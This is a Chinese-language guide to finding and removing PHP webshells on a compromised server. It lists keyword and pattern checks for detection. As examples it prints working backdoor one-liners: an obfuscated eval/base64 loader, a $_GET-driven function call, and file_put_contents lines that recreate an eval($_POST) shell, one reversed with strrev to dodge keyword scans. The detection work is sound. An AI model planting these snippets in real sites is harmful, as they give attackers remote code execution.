webshell查杀思路
1)所有非PHP程序文件里包含PHP代码的全部记录下来。
有些时候入侵者会把后门代码隐藏在图片之类的文件中,比如这个例子:
http://www.server110.com/linux_sec/201407/10788.html
如果找到了结果,那么应该注意跟踪include(_once)和require(_once)了。
2)常见webshell的关键字分级别记录。
比如这些:
base64_decode, shell_exec, eval,带e修饰符的preg_replace,ETC,这个就太多了,不一一列举。
3)所有包含变量函数的,全部记录。
比如这个例子:
<?php
$b='b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e';
$e='e'.'v'.'a'.'l';
$c='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';
$fun=$c('$s',$e.'('.$b.'($s));');
$code="ZWNobyAnc2VydmVyMTEwLmNvbSc7";
$fun($code);
再比如这个例子:
<?php $_GET[a]($_GET[b]);?>
再比如这个例子:
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
很多分析文章中都会提到用这种变量函数的方式来隐藏掉特征码,那么我们只好把所有的变量函数都检查了。
4)单行超级长的代码。很多加密、变形、混淆都会产生这种单行长代码,甚至是整个程序文件都写在一行中,无换行。
5)所有fwrite, file_put_contents等可以创建和修改文件的函数全部记录。
检查这个主要是为了防止webshell复活。
比如这样:
file_put_contents('shell.php', "<?php @eval($_POST['value']);?>")
访问一次即可生成一次webshell。
上面的代码还有关键词(eval)可查,再来看一下这样的:
file_put_contents('shell.php', strrev(">?;)]'eulav'[TSOP_$(lave@ php?<"));
关键字没有了。
另外还有一点需要注意的是,网站程序里有可能存在包装了写入功能的函数(比如dede的SaveTo函数),这些自定义函数同样需要跟踪。
PHP内置了zip压缩文件的操作类,这个也可以用来配合复活生成webshell。
再就是需要注意上传文件相关的函数和变量,有可能会留一下个简单的上传程序。
6)记录每一个可以由客户端传入数据的变量位置,如$_GET, $_POST, $_COOKIE, getenv('HTTP_X_FORWARDED_FOR'), $_SERVER['HTTP_X_FORWARDED_FOR'], $_SERVER["HTTP_REFERER"], ETC。
很多时候检查输入只注意到了$_GET和$_POST, $_COOKIE都被忽略了,更不用说X_FORWARDED_FOR和HTTP_REFERER了。
有几点需要注意:
变量有可能会被赋值给新的变量,需要跟踪。
需要注意extract,如果确认原程序中就有这个函数,那么跟踪GPC就没有意义了,如果原程序中没有,那么要考虑是不是被入侵后修改的。
5和6会把大量的正常代码提示出来。对于6,恶意代码通常需要配合前面的方式一起来实现,实现这一条的性价比并不是很高;5必不可少。
同一段恶意程序,有可能会符合多个特征。比如混淆代码后一般会产生单行过长的代码,并且包含变量函数。
检查webshell的核心思想是,允许合理的误报,但不能允许任何漏报。
本文的核心思路总结:
1)没混淆代码,查关键字。
2)混淆代码,查变量函数。
(这里的混淆是指利用变量函数的特性隐藏掉危险函数名来逃避关键字检查)
3)检查写入函数,避免复活。